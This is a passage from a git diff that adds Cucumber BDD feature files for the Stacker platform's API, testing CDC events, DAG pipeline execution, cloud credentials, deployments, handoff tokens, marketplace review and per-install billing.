+  # ──────────────────────────────────────────────
+  # CDC Event Model
+  # ──────────────────────────────────────────────
+
+  Scenario: CDC change event INSERT has correct row data
+    Given a CDC change event for table "users" with operation "INSERT"
+    And the event has after data:
+      """
+      {"id": 1, "name": "Alice", "email": "alice@test.com"}
+      """
+    Then the event row_data should match the after data
+    And the event before data should be null
+
+  Scenario: CDC change event UPDATE has both before and after
+    Given a CDC change event for table "orders" with operation "UPDATE"
+    And the event has before data:
+      """
+      {"id": 1, "total": 100.0, "status": "pending"}
+      """
+    And the event has after data:
+      """
+      {"id": 1, "total": 150.0, "status": "confirmed"}
+      """
+    Then the event row_data should match the after data
+    And the event before data should not be null
+
+  Scenario: CDC change event DELETE has only before data
+    Given a CDC change event for table "sessions" with operation "DELETE"
+    And the event has before data:
+      """
+      {"id": 42, "user_id": 1, "token": "abc123"}
+      """
+    Then the event row_data should match the before data
+    And the event after data should be null
+
+  # ──────────────────────────────────────────────
+  # CDC Operation Parsing
+  # ──────────────────────────────────────────────
+
+  Scenario: Parse CDC operations from standard names
+    Then CDC operation "INSERT" should parse to Insert
+    And CDC operation "UPDATE" should parse to Update
+    And CDC operation "DELETE" should parse to Delete
+
+  Scenario: Parse CDC operations from short codes
+    Then CDC operation "I" should parse to Insert
+    And CDC operation "U" should parse to Update
+    And CDC operation "D" should parse to Delete
+
+  Scenario: Invalid CDC operation returns None
+    Then CDC operation "TRUNCATE" should not parse
+    And CDC operation "bogus" should not parse
+
+  # ──────────────────────────────────────────────
+  # CDC Pipe Payload
+  # ──────────────────────────────────────────────
+
+  Scenario: CDC event produces valid pipe payload
+    Given a CDC change event for table "products" with operation "INSERT"
+    And the event has after data:
+      """
+      {"id": 5, "name": "Widget", "price": 29.99}
+      """
+    When I convert the event to a pipe payload
+    Then the payload should contain field "table" with value "products"
+    And the payload should contain field "operation" with value "INSERT"
+    And the payload should contain field "schema" with value "public"
+    And the payload "after" should have key "name"
+
+  # ──────────────────────────────────────────────
+  # CDC Source Step Execution
+  # ──────────────────────────────────────────────
+
+  Scenario: Execute cdc_source step with config
+    Given a DAG step of type "cdc_source" with config:
+      """
+      {"replication_slot": "test_slot", "publication": "test_pub", "tables": ["users", "orders"]}
+      """
+    When I execute the step with empty input
+    Then the step result should contain "cdc_connected" as true
+    And the step result should contain "replication_slot" as "test_slot"
+    And the step result should contain "status" as "listening"
+
+  Scenario: Execute cdc_source step with explicit output
+    Given a DAG step of type "cdc_source" with config:
+      """
+      {"output": {"event": "insert", "table": "users", "data": {"id": 1}}}
+      """
+    When I execute the step with empty input
+    Then the step result should contain "event" as "insert"
+    And the step result should contain "table" as "users"
+
+  # ──────────────────────────────────────────────
+  # CDC Routing Keys
+  # ──────────────────────────────────────────────
+
+  Scenario: CDC routing keys follow convention
+    Then CDC event key for table "users" operation "INSERT" should be "cdc.event.users.insert"
+    And CDC event key for table "orders" operation "DELETE" should be "cdc.event.orders.delete"
+    And CDC queue for deployment "deploy-abc" should be "cdc_listener_deploy-abc"
+    And CDC wildcard key for table "users" should be "cdc.event.users.#"
+
+  # ──────────────────────────────────────────────
+  # CDC Trigger Config
+  # ──────────────────────────────────────────────
+
+  Scenario: CDC trigger config with filters
+    Given a CDC trigger config for table "users" with operations "INSERT,UPDATE"
+    Then the trigger should filter table "users"
+    And the trigger should filter operations Insert and Update
+
+  Scenario: CDC trigger config minimal (no filters)
+    Given a minimal CDC trigger config
+    Then the trigger table filter should be None
+    And the trigger operation filter should be None
diff --git a/tests/features/chat.feature b/tests/features/chat.feature
new file mode 100644
index 00000000..5db5e93c
--- /dev/null
+++ b/tests/features/chat.feature
@@ -0,0 +1,19 @@
+@serial
+Feature: Chat History
+  As a user I want to manage chat conversation history
+
+  Background:
+    Given I am authenticated as User A
+
+  Scenario: Upsert chat history
+    When I upsert chat history with messages
+    Then the response status should be one of "200, 201"
+
+  Scenario: Get chat history
+    When I upsert and then get chat history
+    Then the response status should be 200
+
+  Scenario: Delete chat history
+    Given I have upserted chat history
+    When I delete chat history
+    Then the response status should be one of "200, 204"
diff --git a/tests/features/client.feature b/tests/features/client.feature
new file mode 100644
index 00000000..0688a254
--- /dev/null
+++ b/tests/features/client.feature
@@ -0,0 +1,42 @@
+Feature: Client Management
+  As a user managing API clients
+  I want to create, enable, disable, and regenerate client secrets
+  So that I can control API access to my resources
+
+  Scenario: Create a new client
+    Given I switch to admin user
+    When I create a client
+    Then the response status should be one of "200, 201"
+    And the response JSON should have key "item"
+
+  Scenario: Disable an active client
+    Given I switch to admin user
+    And I have created a client
+    When I disable the stored client
+    Then the response status should be 200
+
+  Scenario: Enable a disabled client
+    Given I switch to admin user
+    And I have created a client
+    And I disable the stored client
+    When I enable the stored client
+    Then the response status should be 200
+
+  Scenario: Regenerate client secret
+    Given I switch to admin user
+    And I have created a client
+    When I update the stored client
+    Then the response status should be 200
+
+  Scenario: Cannot disable an already disabled client
+    Given I switch to admin user
+    And I have created a client
+    And I disable the stored client
+    When I disable the stored client
+    Then the response status should be 400
+
+  Scenario: Cannot enable an already active client
+    Given I switch to admin user
+    And I have created a client
+    When I enable the stored client
+    Then the response status should be 400
diff --git a/tests/features/cloud.feature b/tests/features/cloud.feature
new file mode 100644
index 00000000..e9d17566
--- /dev/null
+++ b/tests/features/cloud.feature
@@ -0,0 +1,32 @@
+Feature: Cloud CRUD
+  As a user managing cloud credentials
+  I want to create, list, update, and delete cloud records
+  So that I can manage my cloud provider integrations
+
+  Background:
+    Given I am authenticated as User A
+
+  Scenario: Create a cloud credential
+    When I create a cloud with provider "hetzner" and token "test-token-123"
+    Then the response status should be one of "200, 201"
+    And the response JSON should have key "item"
+
+  Scenario: List cloud credentials
+    Given I have created a cloud with provider "digitalocean"
+    When I list clouds
+    Then the response status should be 200
+
+  Scenario: Get a specific cloud
+    Given I have created a cloud with provider "hetzner"
+    When I get the stored cloud
+    Then the response status should be 200
+
+  Scenario: Update a cloud credential
+    Given I have created a cloud with provider "hetzner"
+    When I update the stored cloud with provider "aws"
+    Then the response status should be 200
+
+  Scenario: Delete a cloud credential
+    Given I have created a cloud with provider "hetzner"
+    When I delete the stored cloud
+    Then the response status should be one of "200, 204"
diff --git a/tests/features/dag.feature b/tests/features/dag.feature
new file mode 100644
index 00000000..99c1703b
--- /dev/null
+++ b/tests/features/dag.feature
@@ -0,0 +1,126 @@
+Feature: DAG Steps and Edges
+  As a user I want to build multi-step DAG pipes with branching and conditions
+
+  Background:
+    Given I am authenticated as User A
+    And I have a DAG pipe template named "bdd-dag-template"
+
+  # --- Steps CRUD ---
+
+  Scenario: Add a source step to a pipe template
+    When I add a DAG step to the template with:
+      """
+      {"step_type": "source", "name": "Extract Data", "config": {"endpoint": "/api/data"}}
+      """
+    Then the response status should be 201
+    And the response JSON at "/item" should not be empty
+    And the response JSON at "/item/step_type" should be "source"
+    And the response JSON at "/item/name" should be "Extract Data"
+
+  Scenario: Add a transform step to a pipe template
+    When I add a DAG step to the template with:
+      """
+      {"step_type": "transform", "name": "Map Fields", "config": {"mapping": {"a": "b"}}}
+      """
+    Then the response status should be 201
+    And the response JSON at "/item/step_type" should be "transform"
+
+  Scenario: Add a target step to a pipe template
+    When I add a DAG step to the template with:
+      """
+      {"step_type": "target", "name": "Load Data", "config": {"url": "http://target/api"}}
+      """
+    Then the response status should be 201
+    And the response JSON at "/item/step_type" should be "target"
+
+  Scenario: Add a condition step to a pipe template
+    When I add a DAG step to the template with:
+      """
+      {"step_type": "condition", "name": "Check Status", "config": {"expression": "$.status == 'ok'"}}
+      """
+    Then the response status should be 201
+    And the response JSON at "/item/step_type" should be "condition"
+
+  Scenario: Reject invalid step type
+    When I add a DAG step to the template with:
+      """
+      {"step_type": "invalid_type", "name": "Bad Step", "config": {}}
+      """
+    Then the response status should be one of "400, 422"
+
+  Scenario: List steps for a pipe template
+    Given I have added DAG steps "Source,Transform,Target" to the template
+    When I list DAG steps for the template
+    Then the response status should be 200
+    And the response JSON at "/list" should not be empty
+
+  Scenario: Get a single DAG step
+    Given I have added a DAG step "Fetch" of type "source" to the template
+    When I get the stored DAG step
+    Then the response status should be 200
+    And the response JSON at "/item/name" should be "Fetch"
+
+  Scenario: Update a DAG step
+    Given I have added a DAG step "Old Name" of type "transform" to the template
+    When I update the stored DAG step with:
+      """
+      {"name": "New Name", "config": {"updated": true}}
+      """
+    Then the response status should be 200
+    And the response JSON at "/item/name" should be "New Name"
+
+  Scenario: Delete a DAG step
+    Given I have added a DAG step "ToDelete" of type "target" to the template
+    When I delete the stored DAG step
+    Then the response status should be one of "200, 204"
+
+  # --- Edges CRUD ---
+
+  Scenario: Add an edge between two steps
+    Given I have added DAG steps "Source,Target" to the template
+    When I add a DAG edge from step "Source" to step "Target"
+    Then the response status should be 201
+    And the response JSON at "/item" should not be empty
+
+  Scenario: Add a conditional edge
+    Given I have added DAG steps "Source,BranchA,BranchB" to the template
+    When I add a DAG edge from step "Source" to step "BranchA" with condition:
+      """
+      {"expression": "$.status == 'ok'"}
+      """
+    Then the response status should be 201
+
+  Scenario: List edges for a pipe template
+    Given I have added DAG steps "S,T" to the template
+    And I have added a DAG edge from step "S" to step "T"
+    When I list DAG edges for the template
+    Then the response status should be 200
+    And the response JSON at "/list" should not be empty
+
+  Scenario: Delete an edge
+    Given I have added DAG steps "S,T" to the template
+    And I have added a DAG edge from step "S" to step "T"
+    When I delete the stored DAG edge
+    Then the response status should be one of "200, 204"
+
+  Scenario: Reject edge creating a cycle
+    Given I have added DAG steps "A,B" to the template
+    And I have added a DAG edge from step "A" to step "B"
+    When I add a DAG edge from step "B" to step "A"
+    Then the response status should be one of "400, 409, 422"
+
+  # --- DAG Validation ---
+
+  Scenario: Validate a well-formed DAG
+    Given I have added DAG steps "Source,Transform,Target" to the template
+    And I have added a DAG edge from step "Source" to step "Transform"
+    And I have added a DAG edge from step "Transform" to step "Target"
+    When I validate the DAG for the template
+    Then the response status should be 200
+    And the response JSON at "/item/valid" should be "true"
+
+  Scenario: Cross-user cannot access another user's DAG steps
+    Given I have added a DAG step "Private" of type "source" to the template
+    When I switch to User B
+    And I list DAG steps for the template
+    Then the response status should be one of "403, 404"
diff --git a/tests/features/dag_execution.feature b/tests/features/dag_execution.feature
new file mode 100644
index 00000000..c5d7acde
--- /dev/null
+++ b/tests/features/dag_execution.feature
@@ -0,0 +1,273 @@
+Feature: DAG Execution Engine
+  As a pipe owner
+  I want to execute a DAG pipeline with multiple steps
+  So that data flows through source → transform → target in topological order
+
+  Background:
+    Given I am authenticated as User A
+    And I have a DAG pipe template named "exec-dag"
+    And I have a DAG pipe instance for that template
+
+  # ── Topological Sort & Execution ────────────────────────────
+
+  Scenario: Execute a simple linear DAG (Source → Transform → Target)
+    Given I have added a DAG step "Source" of type "source" with config:
+      """
+      {"output": {"message": "hello"}}
+      """
+    And I have added a DAG step "Transform" of type "transform" with config:
+      """
+      {"mapping": {"msg": "$.message"}}
+      """
+    And I have added a DAG step "Target" of type "target" with config:
+      """
+      {"destination": "output"}
+      """
+    And I have added a DAG edge from step "Source" to step "Transform"
+    And I have added a DAG edge from step "Transform" to step "Target"
+    When I execute the DAG with input:
+      """
+      {"trigger": "manual"}
+      """
+    Then the response status should be 200
+    And the response JSON at "/item/status" should be "completed"
+    And the response JSON at "/item/total_steps" should be "3"
+    And the response JSON at "/item/completed_steps" should be "3"
+    And the response JSON at "/item/failed_steps" should be "0"
+
+  Scenario: Execution creates step-level records for each DAG step
+    Given I have added a DAG step "Source" of type "source" with config:
+      """
+      {"output": {"data": 1}}
+      """
+    And I have added a DAG step "Target" of type "target" with config:
+      """
+      {"destination": "sink"}
+      """
+    And I have added a DAG edge from step "Source" to step "Target"
+    When I execute the DAG with input:
+      """
+      {}
+      """
+    Then the response status should be 200
+    When I list step executions for the DAG execution
+    Then the response status should be 200
+    And the response JSON at "/list" should have length 2
+    And every step execution should have status "completed"
+
+  Scenario: Topological ordering respects edge dependencies
+    Given I have added a DAG step "Source" of type "source" with config:
+      """
+      {"output": {"val": "start"}}
+      """
+    And I have added a DAG step "Mid1" of type "transform" with config:
+      """
+      {"mapping": {"x": "$.val"}}
+      """
+    And I have added a DAG step "Mid2" of type "transform" with config:
+      """
+      {"mapping": {"y": "$.x"}}
+      """
+    And I have added a DAG step "Target" of type "target" with config:
+      """
+      {"destination": "end"}
+      """
+    And I have added a DAG edge from step "Source" to step "Mid1"
+    And I have added a DAG edge from step "Mid1" to step "Mid2"
+    And I have added a DAG edge from step "Mid2" to step "Target"
+    When I execute the DAG with input:
+      """
+      {}
+      """
+    Then the response status should be 200
+    And the response JSON at "/item/status" should be "completed"
+    And the response JSON at "/item/total_steps" should be "4"
+    And the response JSON at "/item/completed_steps" should be "4"
+
+  # ── Condition Steps ─────────────────────────────────────────
+
+  Scenario: Condition step evaluates to true and continues
+    Given I have added a DAG step "Source" of type "source" with config:
+      """
+      {"output": {"score": 85}}
+      """
+    And I have added a DAG step "Check" of type "condition" with config:
+      """
+      {"expression": "$.score > 50", "field": "score", "operator": "gt", "value": 50}
+      """
+    And I have added a DAG step "Target" of type "target" with config:
+      """
+      {"destination": "pass"}
+      """
+    And I have added a DAG edge from step "Source" to step "Check"
+    And I have added a DAG edge from step "Check" to step "Target"
+    When I execute the DAG with input:
+      """
+      {}
+      """
+    Then the response status should be 200
+    And the response JSON at "/item/status" should be "completed"
+    And the response JSON at "/item/completed_steps" should be "3"
+    And the response JSON at "/item/skipped_steps" should be "0"
+
+  Scenario: Condition step evaluates to false and skips downstream
+    Given I have added a DAG step "Source" of type "source" with config:
+      """
+      {"output": {"score": 30}}
+      """
+    And I have added a DAG step "Check" of type "condition" with config:
+      """
+      {"field": "score", "operator": "gt", "value": 50}
+      """
+    And I have added a DAG step "Target" of type "target" with config:
+      """
+      {"destination": "pass"}
+      """
+    And I have added a DAG edge from step "Source" to step "Check"
+    And I have added a DAG edge from step "Check" to step "Target"
+    When I execute the DAG with input:
+      """
+      {}
+      """
+    Then the response status should be 200
+    And the response JSON at "/item/status" should be "completed"
+    And the response JSON at "/item/skipped_steps" should be "1"
+
+  # ── Parallel Execution ──────────────────────────────────────
+
+  Scenario: Parallel branches execute independently
+    Given I have added a DAG step "Source" of type "source" with config:
+      """
+      {"output": {"data": "input"}}
+      """
+    And I have added a DAG step "BranchA" of type "transform" with config:
+      """
+      {"mapping": {"a": "$.data"}}
+      """
+    And I have added a DAG step "BranchB" of type "transform" with config:
+      """
+      {"mapping": {"b": "$.data"}}
+      """
+    And I have added a DAG step "Target" of type "target" with config:
+      """
+      {"destination": "merged"}
+      """
+    And I have added a DAG edge from step "Source" to step "BranchA"
+    And I have added a DAG edge from step "Source" to step "BranchB"
+    And I have added a DAG edge from step "BranchA" to step "Target"
+    And I have added a DAG edge from step "BranchB" to step "Target"
+    When I execute the DAG with input:
+      """
+      {}
+      """
+    Then the response status should be 200
+    And the response JSON at "/item/status" should be "completed"
+    And the response JSON at "/item/total_steps" should be "4"
+    And the response JSON at "/item/completed_steps" should be "4"
+
+  # ── Failure Handling ────────────────────────────────────────
+
+  Scenario: Step failure marks execution as partial_failure
+    Given I have added a DAG step "Source" of type "source" with config:
+      """
+      {"output": {"x": 1}}
+      """
+    And I have added a DAG step "BadStep" of type "transform" with config:
+      """
+      {"error": "simulated failure"}
+      """
+    And I have added a DAG step "Target" of type "target" with config:
+      """
+      {"destination": "out"}
+      """
+    And I have added a DAG edge from step "Source" to step "BadStep"
+    And I have added a DAG edge from step "BadStep" to step "Target"
+    When I execute the DAG with input:
+      """
+      {}
+      """
+    Then the response status should be 200
+    And the response JSON at "/item/status" should be "partial_failure"
+    And the response JSON at "/item/failed_steps" should be "1"
+    And the response JSON at "/item/skipped_steps" should be "1"
+
+  Scenario: Downstream steps are skipped when upstream fails
+    Given I have added a DAG step "Source" of type "source" with config:
+      """
+      {"output": {"x": 1}}
+      """
+    And I have added a DAG step "Fail" of type "transform" with config:
+      """
+      {"error": "broken"}
+      """
+    And I have added a DAG step "After" of type "transform" with config:
+      """
+      {"mapping": {"y": "$.x"}}
+      """
+    And I have added a DAG step "Target" of type "target" with config:
+      """
+      {"destination": "end"}
+      """
+    And I have added a DAG edge from step "Source" to step "Fail"
+    And I have added a DAG edge from step "Fail" to step "After"
+    And I have added a DAG edge from step "After" to step "Target"
+    When I execute the DAG with input:
+      """
+      {}
+      """
+    Then the response status should be 200
+    And the response JSON at "/item/failed_steps" should be "1"
+    And the response JSON at "/item/skipped_steps" should be "2"
+
+  # ── Validation Failures ─────────────────────────────────────
+
+  Scenario: Execute fails on invalid DAG (no steps)
+    When I execute the DAG with input:
+      """
+      {}
+      """
+    Then the response status should be 400
+    And the response body should contain "at least one step"
+
+  Scenario: Execute fails on DAG missing source step
+    Given I have added a DAG step "OnlyTarget" of type "target" with config:
+      """
+      {"destination": "out"}
+      """
+    When I execute the DAG with input:
+      """
+      {}
+      """
+    Then the response status should be 400
+    And the response body should contain "source step"
+
+  # ── Cross-user Isolation ────────────────────────────────────
+
+  Scenario: Another user cannot execute my DAG
+    Given I have added DAG steps "Source, Target" to the template
+    And I have added a DAG edge from step "Source" to step "Target"
+    When another user executes the DAG for the stored template
+    Then the response status should be 404
+
+  # ── Step Execution Status Endpoint ──────────────────────────
+
+  Scenario: List step executions returns per-step details
+    Given I have added a DAG step "Source" of type "source" with config:
+      """
+      {"output": {"k": "v"}}
+      """
+    And I have added a DAG step "Target" of type "target" with config:
+      """
+      {"destination": "out"}
+      """
+    And I have added a DAG edge from step "Source" to step "Target"
+    When I execute the DAG with input:
+      """
+      {}
+      """
+    Then the response status should be 200
+    When I list step executions for the DAG execution
+    Then the response status should be 200
+    And the response JSON at "/list" should have length 2
+    And each step execution should have a "step_id" field
+    And each step execution should have a "status" field
diff --git a/tests/features/deployment_state.feature b/tests/features/deployment_state.feature
new file mode 100644
index 00000000..78bffc77
--- /dev/null
+++ b/tests/features/deployment_state.feature
@@ -0,0 +1,14 @@
+Feature: Deployment state
+  As an AI-aware operator
+  I want a canonical deployment state endpoint
+  So that I can inspect current deployment reality without stitching commands
+
+  Background:
+    Given I am authenticated as User A
+    And I have a test deployment with hash "bdd-deploy-state"
+
+  Scenario: Get canonical deployment state for a deployment
+    When I get deployment state for "bdd-deploy-state"
+    Then the response status should be 200
+    And the response JSON at "/item/schemaVersion" should be "v1alpha1"
+    And the response JSON at "/item/deployment/deploymentHash" should be "bdd-deploy-state"
diff --git a/tests/features/deployments.feature b/tests/features/deployments.feature
new file mode 100644
index 00000000..249d32e8
--- /dev/null
+++ b/tests/features/deployments.feature
@@ -0,0 +1,37 @@
+Feature: Deployments
+  As a user managing cloud deployments
+  I want to view and manage deployment status
+  So that I can monitor my infrastructure
+
+  Background:
+    Given I am authenticated as User A
+    And I have a test deployment with hash "bdd-deploy-main"
+
+  Scenario: List deployments
+    When I list deployments
+    Then the response status should be 200
+
+  Scenario: Get deployment by ID
+    When I get the stored deployment by ID
+    Then the response status should be 200
+
+  Scenario: Get deployment by hash
+    When I get the deployment by hash "bdd-deploy-main"
+    Then the response status should be 200
+
+  Scenario: Get deployment by project
+    When I get the deployment by project
+    Then the response status should be one of "200, 404"
+
+  Scenario: Force complete an error deployment
+    Given I have a test deployment with hash "bdd-deploy-err" and status "error"
+    When I force complete deployment "bdd-deploy-err"
+    Then the response status should be 200
+
+  Scenario: Force complete a running deployment is rejected
+    When I force complete the stored deployment
+    Then the response status should be 400
+
+  Scenario: Get capabilities for a deployment
+    When I get capabilities for deployment "bdd-deploy-main"
+    Then the response status should be 200
diff --git a/tests/features/dockerhub.feature b/tests/features/dockerhub.feature
new file mode 100644
index 00000000..9d08905b
--- /dev/null
+++ b/tests/features/dockerhub.feature
@@ -0,0 +1,17 @@
+Feature: DockerHub Integration
+  As a user I want to search DockerHub namespaces, repositories, and tags
+
+  Background:
+    Given I am authenticated as User A
+
+  Scenario: Search DockerHub namespaces
+    When I search DockerHub namespaces with query "nginx"
+    Then the response status should be 200
+
+  Scenario: List repositories for a namespace
+    When I list DockerHub repositories for namespace "library"
+    Then the response status should be 200
+
+  Scenario: List tags for a repository
+    When I list DockerHub tags for namespace "library" repository "nginx"
+    Then the response status should be 200
diff --git a/tests/features/handoff.feature b/tests/features/handoff.feature
new file mode 100644
index 00000000..5a829635
--- /dev/null
+++ b/tests/features/handoff.feature
@@ -0,0 +1,28 @@
+Feature: Handoff Token
+  As a user I want to create handoff tokens for CLI connections
+
+  Background:
+    Given I am authenticated as User A
+
+  Scenario: Mint a handoff token for a deployment
+    Given I have a test deployment with hash "bdd-handoff-dep"
+    When I mint a handoff token for the stored deployment
+    Then the response status should be one of "200, 201"
+    And the response JSON at "/item/token" should not be empty
+
+  Scenario: Resolve a valid handoff token
+    Given I have a test deployment with hash "bdd-handoff-resolve"
+    And I have minted a handoff token for the stored deployment
+    When I resolve the stored handoff token
+    Then the response status should be 200
+
+  Scenario: Resolve an invalid token returns not found
+    When I resolve handoff token "invalid-token-xyz"
+    Then the response status should be one of "404, 400"
+
+  Scenario: Handoff token is one-time use
+    Given I have a test deployment with hash "bdd-handoff-once"
+    And I have minted a handoff token for the stored deployment
+    And I resolve the stored handoff token
+    When I resolve the stored handoff token
+    Then the response status should be one of "404, 400, 410"
diff --git a/tests/features/health.feature b/tests/features/health.feature
new file mode 100644
index 00000000..c9cb5ed7
--- /dev/null
+++ b/tests/features/health.feature
@@ -0,0 +1,12 @@
+Feature: Health Check
+  The health check endpoint verifies that the Stacker server is running
+  and returns component health status.
+
+  Scenario: Server responds to health check with status report
+    When I send a GET request to "/health_check"
+    Then the response status should be one of "200, 503"
+    And the response JSON should have key "status"
+    And the response JSON should have key "version"
+    And the response JSON should have key "components"
+    And the response JSON at "/components/database/status" should be "healthy"
+
diff --git a/tests/features/marketplace_admin.feature b/tests/features/marketplace_admin.feature
new file mode 100644
index 00000000..26308392
--- /dev/null
+++ b/tests/features/marketplace_admin.feature
@@ -0,0 +1,69 @@
+Feature: Marketplace Admin
+  As an admin I want to review and manage marketplace templates
+
+  Background:
+    Given I am authenticated as User A
+
+  Scenario: List submitted templates
+    Given I have created a marketplace template with slug "bdd-admin-list"
+    And I submit the stored template for review
+    And I switch to admin user
+    When I list submitted templates
+    Then the response status should be 200
+
+  Scenario: Get template detail as admin
+    Given I have created a marketplace template with slug "bdd-admin-detail"
+    And I submit the stored template for review
+    And I switch to admin user
+    When I get admin template detail for the stored template
+    Then the response status should be 200
+
+  Scenario: Approve a template
+    Given I have created a marketplace template with slug "bdd-admin-approve"
+    And I submit the stored template for review
+    And I switch to admin user
+    When I approve the stored template
+    Then the response status should be 200
+
+  Scenario: Reject a template
+    Given I have created a marketplace template with slug "bdd-admin-reject"
+    And I submit the stored template for review
+    And I switch to admin user
+    When I reject the stored template with reason "Does not meet standards"
+    Then the response status should be 200
+
+  Scenario: Request changes for a template
+    Given I have created a marketplace template with slug "bdd-admin-changes"
+    And I submit the stored template for review
+    And I switch to admin user
+    When I request changes for the stored template with reason "Fix documentation"
+    Then the response status should be 200
+
+  Scenario: Run security scan on a template
+    Given I have created a marketplace template with slug "bdd-admin-scan"
+    And I submit the stored template for review
+    And I switch to admin user
+    When I run security scan for the stored template
+    Then the response status should be 200
+
+  Scenario: Update template pricing
+    Given I have created a marketplace template with slug "bdd-admin-price"
+    And I submit the stored template for review
+    And I switch to admin user
+    When I update pricing for the stored template with price 9.99 and billing "one_time"
+    Then the response status should be 200
+
+  Scenario: Update template verifications
+    Given I have created a marketplace template with slug "bdd-admin-verify"
+    And I submit the stored template for review
+    And I switch to admin user
+    When I update verifications for the stored template with security_reviewed true
+    Then the response status should be 200
+
+  Scenario: Unapprove a template
+    Given I have created a marketplace template with slug "bdd-admin-unapp"
+    And I submit the stored template for review
+    And I switch to admin user
+    And I approve the stored template
+    When I unapprove the stored template
+    Then the response status should be 200
diff --git a/tests/features/marketplace_creator.feature b/tests/features/marketplace_creator.feature
new file mode 100644
index 00000000..e1c2c52e
--- /dev/null
+++ b/tests/features/marketplace_creator.feature
@@ -0,0 +1,78 @@
+Feature: Marketplace Creator
+  As a template creator I want to manage my marketplace templates
+
+  Background:
+    Given I am authenticated as User A
+
+  Scenario: Create a draft template
+    When I create a marketplace template with slug "bdd-creator-new"
+    Then the response status should be one of "200, 201"
+    And the response JSON should have key "item"
+
+  Scenario: Update template metadata
+    Given I have created a marketplace template with slug "bdd-creator-update"
+    When I update the stored template with name "Updated Name"
+    Then the response status should be 200
+
+  Scenario: Submit template for review
+    Given I have created a marketplace template with slug "bdd-creator-submit"
+    When I submit the stored template for review
+    Then the response status should be 200
+
+  Scenario: List my templates
+    Given I have created a marketplace template with slug "bdd-creator-mine"
+    When I list my marketplace templates
+    Then the response status should be 200
+
+  Scenario: Resubmit after needs-changes
+    Given I have created a marketplace template with slug "bdd-creator-resub"
+    And I submit the stored template for review
+    And I switch to admin user
+    And I request changes for the stored template with reason "Fix dockerfile"
+    And I switch to User A
+    When I resubmit the stored template with version "1.1.0"
+    Then the response status should be 200
+
+  Scenario: Get my vendor profile
+    When I get my vendor profile
+    Then the response status should be 200
+
+  Scenario: Create vendor onboarding link
+    When I create vendor onboarding link
+    Then the response status should be 200
+
+  Scenario: Creator sees marketplace analytics summary for own templates
+    Given I have created a marketplace template with slug "bdd-analytics-summary"
+    And I submit the stored template for review
+    And I switch to admin user
+    And I approve the stored template
+    And I switch to User A
+    And the template has usage metrics
+    When I request my marketplace analytics for period "30d"
+    Then the response status should be 200
+    And the response JSON should have key "summary"
+    And the response JSON should have key "viewsSeries"
+    And the response JSON should have key "deploymentsSeries"
+    And the response JSON should have key "cloudBreakdown"
+    And the response JSON should have key "topTemplates"
+    And the response JSON should have key "templates"
+
+  Scenario: Creator filters analytics by period
+    Given I have created a marketplace template with slug "bdd-analytics-period"
+    And I submit the stored template for review
+    And I switch to admin user
+    And I approve the stored template
+    And I switch to User A
+    And the template has usage events across periods
+    When I request my marketplace analytics for period "7d"
+    Then the response status should be 200
+    And the response JSON at "/period/key" should be "7d"
+
+  Scenario: Creator cannot see another creator analytics
+    Given I have created a marketplace template with slug "bdd-analytics-forbidden"
+    And I submit the stored template for review
+    And I switch to admin user
+    And I approve the stored template
+    When I switch to User B
+    And I request analytics for User A template scope
+    Then the response status should be one of "403, 404"
diff --git a/tests/features/marketplace_per_install_billing.feature.pending b/tests/features/marketplace_per_install_billing.feature.pending
new file mode 100644
index 00000000..1d3157c5
--- /dev/null
+++ b/tests/features/marketplace_per_install_billing.feature.pending
@@ -0,0 +1,64 @@
+# ---
+# STATUS: pending — file extension `.feature.pending` keeps this out of the
+# auto-discovered cucumber run in `tests/bdd.rs` (which globs `tests/features`
+# for `.feature` files). Rename to `.feature` once the step definitions in
+# `tests/steps/marketplace.rs` are extended to cover the billing scenarios
+# (wiremock routes for authorize/capture/void, DB assertion helpers on
+# `marketplace_install_authorization`, and per_install feature-flag setup
+# in `ensure_shared_app_available()`).
+# ---
+Feature: Per-install billing for marketplace templates
+  Templates with billing_cycle="per_install" charge the buyer on each
+  install via a two-phase authorize/capture with user_service. This
+  contrasts with legacy "one_time" templates that check a permanent
+  ownership flag. The invariant: no money moves without a corresponding
+  install artifact, and retries with the same idempotency key never
+  double-charge.
+
+  Background:
+    Given the per_install billing feature flag is enabled
+    And a marketplace template with slug "paid-per-install" and billing_cycle "per_install" and price 9.99 USD
+    And I am authenticated as a user on the "professional" plan
+    And the user_service billing mock is running
+
+  Scenario: Successful per-install charge captures on deploy-complete
+    Given the user_service billing mock will authorize any charge
+    And the user_service billing mock will capture any authorization
+    When I POST to "/api/templates/paid-per-install/install" with idempotency key "idem-ok-1" and a deploy body
+    Then the response status is 200
+    And the response item has "authorization.status" equal to "authorized"
+    And the marketplace_install_authorization row for the response project has status "authorized"
+    When the agent posts "/api/marketplace/deploy-complete" for the resulting deployment
+    Then the response status is 200
+    And the marketplace_install_authorization row for the project has status "captured"
+    And the user_service billing mock recorded exactly 1 authorize and 1 capture
+
+  Scenario: Declined per-install charge does not create a project
+    Given the user_service billing mock will decline authorizations with reason "card_declined"
+    When I POST to "/api/templates/paid-per-install/install" with idempotency key "idem-decl-1"
+    Then the response status is 402
+    And no project exists for the current user with source template "paid-per-install"
+    And no marketplace_install_authorization row exists for idempotency key "idem-decl-1"
+
+  Scenario: Retry with same idempotency key does not double-charge
+    Given the user_service billing mock will authorize any charge
+    When I POST to "/api/templates/paid-per-install/install" with idempotency key "idem-retry-1"
+    And I POST to "/api/templates/paid-per-install/install" with idempotency key "idem-retry-1"
+    Then both responses have the same "authorization.authorization_id"
+    And both responses have the same "project.id"
+    And the user_service billing mock recorded exactly 1 authorize
+
+  Scenario: Deploy failure voids the authorization
+    Given the user_service billing mock will authorize any charge
+    And any deployment will fail with reason "agent_unreachable"
+    When I POST to "/api/templates/paid-per-install/install" with idempotency key "idem-fail-1" and a deploy body
+    Then the marketplace_install_authorization row for idempotency key "idem-fail-1" eventually has status "voided"
+    And the user_service billing mock recorded exactly 1 void with reason starting "install_failed" or "expired"
+
+  Scenario: Existing one_time templates are unaffected
+    Given a marketplace template with slug "umami" and billing_cycle "one_time" and price 10.00 USD
+    And I own the template "umami"
+    When I POST to "/api/templates/umami/install" with idempotency key "idem-umami-1"
+    Then the response status is 200
+    And no marketplace_install_authorization row exists for the response project
+    And the user_service billing mock recorded 0 authorize calls
diff --git a/tests/features/marketplace_public.feature b/tests/features/marketplace_public.feature
new file mode 100644
index 00000000..b4d8fc8b
--- /dev/null
+++ b/tests/features/marketplace_public.feature
@@ -0,0 +1,22 @@
+Feature: Marketplace Public
+  As a visitor I want to browse marketplace templates and categories
+
+  Scenario: List marketplace categories
+    Given I switch to anonymous user
+    When I list marketplace categories
+    Then the response status should be 200
+
